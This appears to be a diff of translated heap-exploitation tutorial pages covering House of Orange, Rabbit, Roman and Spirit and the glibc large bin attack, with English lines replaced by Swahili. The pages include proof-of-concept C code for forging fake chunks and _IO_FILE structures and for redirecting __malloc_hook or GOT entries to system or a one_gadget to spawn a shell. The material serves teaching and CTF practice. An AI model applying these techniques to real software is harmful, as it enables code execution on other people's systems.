The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
Hatua inayofuata inahusisha kuunda muundo wa uongo wa **\_IO_FILE** ambao unachanganya na top chunk ya zamani ambayo kwa sasa iko katika unsorted bin. Bytes za kwanza za muundo huu zimeundwa kwa uangalifu ili kujumuisha kiashiria cha amri (kwa mfano, "/bin/sh") ambacho kitatekelezwa.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
Maeneo muhimu katika muundo wa uongo wa **\_IO_FILE**, kama `_IO_write_base` na `_IO_write_ptr`, yamewekwa kwa thamani zinazopita ukaguzi wa ndani katika libc. Zaidi ya hayo, jump table inaundwa ndani ya muundo wa uongo, ambapo kiashiria cha maagizo kimewekwa kwenye anwani ambapo msimbo wa kiholela unaweza kutekelezwa. Kawaida, hii itakuwa anwani ya kazi ya `system` au kazi nyingine inayoweza kutekeleza amri za shell.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
Shambulio linafikia kilele wakati wito wa `malloc` unasababisha utekelezaji wa msimbo kupitia muundo wa **\_IO_FILE** uliofanywa. Hii inaruhusu utekelezaji wa msimbo wa kiholela, kwa kawaida ikisababisha shell kuanzishwa au payload nyingine mbaya kutekelezwa.
**Summary of the Attack:**
**Muhtasari wa Shambulio:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Weka top chunk**: Tengeneza chunk na badilisha saizi ya top chunk.
2. **Lazimisha top chunk kuingia kwenye unsorted bin**: Tengeneza chunk kubwa zaidi.
3. **Vuja anwani za libc**: Tumia udhaifu kusoma kutoka kwenye unsorted bin.
4. **Fanya shambulio la unsorted bin**: Andika kwenye **\_IO_list_all** kwa kutumia overflow.
5. **Punguza top chunk ya zamani**: Badilisha saizi yake ili ifae katika bin ndogo.
6. **Weka muundo wa uongo wa \_IO_FILE**: Unda muundo wa faili wa uongo ili kuiba mtiririko wa udhibiti.
7. **Lazimisha utekelezaji wa msimbo**: Tengeneza chunk ili kutekeleza shambulio na kuendesha msimbo wa kiholela.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Mbinu hii inatumia mitambo ya usimamizi wa heap, uvujaji wa taarifa za libc, na overflows za heap ili kufikia utekelezaji wa msimbo bila kuitisha moja kwa moja `free`. Kwa kuunda kwa uangalifu muundo wa uongo wa **\_IO_FILE** na kuuweka katika eneo sahihi, shambulio linaweza kuiba mtiririko wa udhibiti wakati wa operesheni za kawaida za allocation ya kumbukumbu. Hii inaruhusu utekelezaji wa msimbo wa kiholela, ambayo inaweza kusababisha shell au shughuli nyingine mbaya.
## References

View File

@ -4,108 +4,90 @@
### Requirements
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Uwezo wa kubadilisha fast bin fd pointer au saizi**: Hii inamaanisha unaweza kubadilisha pointer ya mbele ya kipande katika fastbin au saizi yake.
2. **Uwezo wa kuchochea `malloc_consolidate`**: Hii inaweza kufanywa kwa kutenga kipande kikubwa au kuunganisha kipande cha juu, ambacho kinawasilisha heap kuunganisha vipande.
### Goals
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Unda vipande vinavyoshirikiana**: Ili kuwa na kipande kimoja kinachoshirikiana na kingine, kuruhusu manipulasi zaidi za heap.
2. **Fanya vipande vya uongo**: Ili kumdanganya allocator kut treating kipande cha uongo kama kipande halali wakati wa operesheni za heap.
## Steps of the attack
### POC 1: Modify the size of a fast bin chunk
### POC 1: Badilisha saizi ya kipande cha fast bin
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Objective**: Unda kipande kinachoshirikiana kwa kubadilisha saizi ya kipande cha fastbin.
- **Step 1: Tenga Vipande**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
Tunaweka vipande viwili vya 0x40 bytes kila kimoja. Vipande hivi vitakuwa katika orodha ya fast bin mara vitakapokuwa huru.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Hatua ya 2: Fungua Vipande**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Tunaachilia vipande vyote viwili, tukiviweka kwenye orodha ya fastbin.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Hatua ya 3: Badilisha Ukubwa wa Kipande**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Tunaweka metadata ya saizi ya `chunk1` kuwa 0xa1. Hii ni hatua muhimu ili kumdanganya mtoaji wakati wa kuunganisha.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Hatua ya 4: Trigger `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Kuweka sehemu kubwa kunasababisha kazi ya `malloc_consolidate`, ikichanganya sehemu ndogo katika fast bin. Ukubwa uliofanyiwa mabadiliko wa `chunk1` unasababisha iingiliane na `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Baada ya kuunganishwa, `chunk1` inagongana na `chunk2`, ikiruhusu matumizi zaidi.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Badilisha kiashiria cha `fd`
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Lengo**: Kuunda sehemu bandia kwa kubadilisha kiashiria cha fast bin `fd`.
- **Hatua ya 1: Weka Sehemu**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Maelezo**: Tunapanga vipande viwili, kimoja kidogo na kingine kikubwa, ili kuandaa heap kwa ajili ya kipande cha uongo.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Hatua ya 2: Unda kipande cha uongo**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Tunaandika metadata ya bandia ya chunk ndani ya `chunk2` ili kuiga chunks ndogo.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Hatua ya 3: Fungua `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Maelezo**: Tunachomoa `chunk1`, tukiongeza kwenye orodha ya fastbin.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Hatua ya 4: Badilisha `fd` ya `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Maelezo**: Tunabadilisha kiashiria cha mbele (`fd`) cha `chunk1` kuonyesha kwenye kipande chetu cha uongo ndani ya `chunk2`.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Hatua ya 5: Chochea `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Kuweka kipande kikubwa tena kunasababisha `malloc_consolidate`, ambayo inashughulikia kipande cha uwongo.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
Kipande cha uwongo kinakuwa sehemu ya orodha ya fastbin, na kufanya kuwa kipande halali kwa ajili ya unyakuzi zaidi.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Muhtasari
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
Mbinu ya **House of Rabbit** inahusisha ama kubadilisha ukubwa wa kipande cha fast bin ili kuunda vipande vinavyovutana au kudhibiti kiashiria cha `fd` ili kuunda vipande vya uwongo. Hii inawawezesha washambuliaji kuunda vipande halali katika heap, ikiruhusu aina mbalimbali za unyakuzi. Kuelewa na kufanya mazoezi ya hatua hizi kutaboresha ujuzi wako wa unyakuzi wa heap.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,85 +4,80 @@
## Basic Information
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Hii ilikuwa mbinu ya kuvutia sana ambayo iliruhusu RCE bila leaks kupitia fake fastbins, shambulio la unsorted_bin na overwrites za relative. Hata hivyo imekuwa [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Unaweza kupata mfano katika [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal
- RCE by abusing relative pointers
- RCE kwa kutumia pointers za relative
### Requirements
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Hariri fastbin na pointers za unsorted bin
- Bits 12 za randomness lazima zishindwe (0.02% nafasi) kufanya kazi
## Attack Steps
### Part 1: Fastbin Chunk points to \_\_malloc_hook
Create several chunks:
Unda chunks kadhaa:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0): UAF chunk baadaye kuhariri pointer ya heap ili kuelekeza kwenye thamani ya LibC.
- `chunk2` (0x80, offset 0x70): Kwa usawa mzuri
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190): relative offset kwenye chunk ya 'main_arena_use'
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Kisha `free(main_arena_use)` ambayo itaweka chunk hii kwenye orodha isiyo na mpangilio na itapata pointer kwa `main_arena + 0x68` katika pointers zote za `fd` na `bk`.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Sasa imepewa chunk mpya `fake_libc_chunk(0x60)` kwa sababu itakuwa na pointers kwa `main_arena + 0x68` katika `fd` na `bk`.
Kisha `relative_offset_heap` na `fastbin_victim` zinachukuliwa.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` ina `fd` inayoelekeza kwenye `relative_offset_heap`
- &#x20;`relative_offset_heap` ni offset ya umbali kutoka `fake_libc_chunk`, ambayo ina pointer kuelekea `main_arena + 0x68`
- Kubadilisha byte ya mwisho ya `fastbin_victim.fd` inawezekana kufanya `fastbin_victim points` kuelekea `main_arena + 0x68`
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Kwa hatua za awali, mshambuliaji anahitaji kuwa na uwezo wa kubadilisha pointer ya fd ya `fastbin_victim`.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Kisha, `main_arena + 0x68` si ya kuvutia sana, hivyo hebu tuibadilishe ili pointer ielekeze kwenye **`__malloc_hook`**.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
Kumbuka kwamba `__memalign_hook` kawaida huanza na `0x7f` na sifuri kabla yake, kisha inawezekana kuificha kama thamani katika fast bin ya `0x70`. Kwa sababu bits 4 za mwisho za anwani ni **random** kuna `2^4=16` uwezekano wa thamani kumalizika ikielekeza mahali tunapovutiwa. Hivyo shambulio la BF linafanywa hapa ili chunk iishie kama: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Kwa maelezo zaidi kuhusu byte zingine angalia maelezo katika [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ mfano](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Ikiwa BF haifanyi kazi programu inanguka tu (hivyo anza tena hadi ifanye kazi).
Kisha, mallocs 2 zinafanywa kuondoa chunks 2 za awali za fast bin na ya tatu inapatikana ili kupata chunk katika **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Sehemu ya 2: Shambulio la Unsorted_bin
### Part 2: Unsorted_bin attack
For more info you can check:
Kwa maelezo zaidi unaweza kuangalia:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Lakini kimsingi inaruhusu kuandika `main_arena + 0x68` kwenye eneo lolote lililoainishwa katika `chunk->bk`. Na kwa shambulio tunachagua `__malloc_hook`. Kisha, baada ya kuandika tena, tutatumia kuandika tena kwa uhusiano ili kuelekeza kwenye `one_gadget`.
Kwa hili tunaanza kupata chunk na kuuweka kwenye **unsorted bin**:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Tumia UAF katika kipande hiki kuonyesha `unsorted_bin_ptr->bk` kwa anwani ya `__malloc_hook` (tulifanya brute force hii hapo awali).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Kumbuka kwamba shambulio hili linaharibu bin isiyo na mpangilio (hivyo ndogo na kubwa pia). Hivyo tunaweza tu **kutumia allocations kutoka kwa fast bin sasa** (programu ngumu zaidi inaweza kufanya allocations nyingine na kuanguka), na ili kuamsha hili lazima **tufanye alloc saizi sawa au programu itanguka.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
Hivyo, ili kuamsha kuandika `main_arena + 0x68` katika `__malloc_hook` tunafanya baada ya kuweka `__malloc_hook` katika `unsorted_bin_ptr->bk` tunahitaji tu kufanya: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Hatua ya 3: Weka \_\_malloc_hook kwa system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
Katika hatua ya kwanza tulimaliza kudhibiti kipande kinachoshikilia `__malloc_hook` (katika variable `malloc_hook_chunk`) na katika hatua ya pili tulifanikiwa kuandika `main_arena + 0x68` hapa.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Sasa, tunatumia kuandika sehemu katika `malloc_hook_chunk` kutumia anwani ya libc tuliyoandika hapo (`main_arena + 0x68`) ili **kuonyesha anwani ya `one_gadget`**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Hapa ndipo inahitajika **bruteforce bits 12 za nasibu** (maelezo zaidi katika [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ mfano](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Hatimaye, moja anwani sahihi ikishandikwa, **ita `malloc` na kuamsha `one_gadget`**.
## References
## Marejeo
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -9,7 +9,6 @@
<details>
<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Lengo
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- Kuwa na uwezo wa kuongeza kwenye tcache / fast bin an address ili baadaye iwezekane kuipatia
### Requirements
### Mahitaji
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Shambulio hili linahitaji mshambuliaji kuwa na uwezo wa kuunda vipande viwili vya uwongo vya haraka vinavyoonyesha kwa usahihi thamani ya ukubwa wake na kisha kuwa na uwezo wa kuachilia kipande cha kwanza cha uwongo ili kiingie kwenye bin.
### Attack
### Shambulio
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Unda vipande vya uwongo vinavyopitisha ukaguzi wa usalama: utahitaji vipande 2 vya uwongo kwa msingi vinavyoonyesha katika nafasi sahihi ukubwa sahihi
- Kwa namna fulani, jaribu kuachilia kipande cha kwanza cha uwongo ili kiingie kwenye fast au tcache bin na kisha kiweze kupewa ili kuandika anwani hiyo
**Msimbo kutoka** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **ni mzuri kuelewa shambulio hilo.** Ingawa mpango huu kutoka kwa msimbo unaufupisha vizuri:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> Kumbuka kwamba ni muhimu kuunda kipande cha pili ili kupita baadhi ya ukaguzi wa akili.
## Examples
## Mifano
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: Kupitia overflow inawezekana kubadilisha pointer ili kuelekeza kwenye anwani ya GOT ili kuvuja anwani ya libc kupitia kitendo cha kusoma cha CTF
- **House of Spirit**: Kutumia counter inayohesabu idadi ya "rifles" inawezekana kuzalisha saizi bandia ya kipande cha kwanza bandia, kisha kutumia "message" inawezekana kuficha saizi ya pili ya kipande na hatimaye kutumia overflow inawezekana kubadilisha pointer ambayo itakombolewa ili kipande chetu cha kwanza bandia kikombolewe. Kisha, tunaweza kukitenga na ndani yake kutakuwa na anwani ya mahali ambapo "message" imehifadhiwa. Kisha, inawezekana kufanya hii kuelekeze kwenye kiingilio cha `scanf` ndani ya jedwali la GOT, ili tuweze kuandika tena na anwani ya system.\
Wakati `scanf` inaitwa tena, tunaweza kutuma ingizo `"/bin/sh"` na kupata shell.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: Buffer ya stack isiyoanzishwa.
- **House of Spirit**: Tunaweza kubadilisha index ya kwanza ya array ya kimataifa ya pointers za heap. Kwa mabadiliko ya byte moja, tunatumia `free` kwenye kipande bandia ndani ya kipande halali, ili tupate hali ya vipande vinavyovuka baada ya kutenga tena. Kwa hiyo, shambulio rahisi la Tcache poisoning linafanya kazi kupata primitive ya kuandika isiyo na mpangilio.
## References
## Marejeleo
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -4,55 +4,53 @@
## Basic Information
For more information about what is a large bin check this page:
Kwa maelezo zaidi kuhusu nini bin kubwa angalia ukurasa huu:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Inawezekana kupata mfano mzuri katika [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
Kimsingi hapa unaweza kuona jinsi, katika toleo la hivi karibuni "current" la glibc (2.35), halijakaguliwa: **`P->bk_nextsize`** ikiruhusu kubadilisha anwani isiyo ya kawaida kwa thamani ya kipande kikubwa cha bin ikiwa masharti fulani yamekamilika.
In that example you can find the following conditions:
Katika mfano huo unaweza kupata masharti yafuatayo:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- Kipande kikubwa kimepewa
- Kipande kikubwa kidogo kuliko cha kwanza lakini katika index ile ile kimepewa
- Lazima kiwe kidogo hivyo katika bin lazima kiwe cha kwanza
- (Kipande cha kuzuia kuungana na kipande cha juu kinaundwa)
- Kisha, kipande cha kwanza kikubwa kinachukuliwa na kipande kipya kikubwa zaidi kinapewa -> Chunk1 kinaenda kwenye bin kubwa
- Kisha, kipande cha pili kikubwa kinachukuliwa
- Sasa, udhaifu: Mshambuliaji anaweza kubadilisha `chunk1->bk_nextsize` kuwa `[target-0x20]`
- Kisha, kipande kikubwa zaidi kuliko chunk 2 kinapewa, hivyo chunk2 inaingizwa kwenye bin kubwa ikifuta anwani `chunk1->bk_nextsize->fd_nextsize` kwa anwani ya chunk2
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
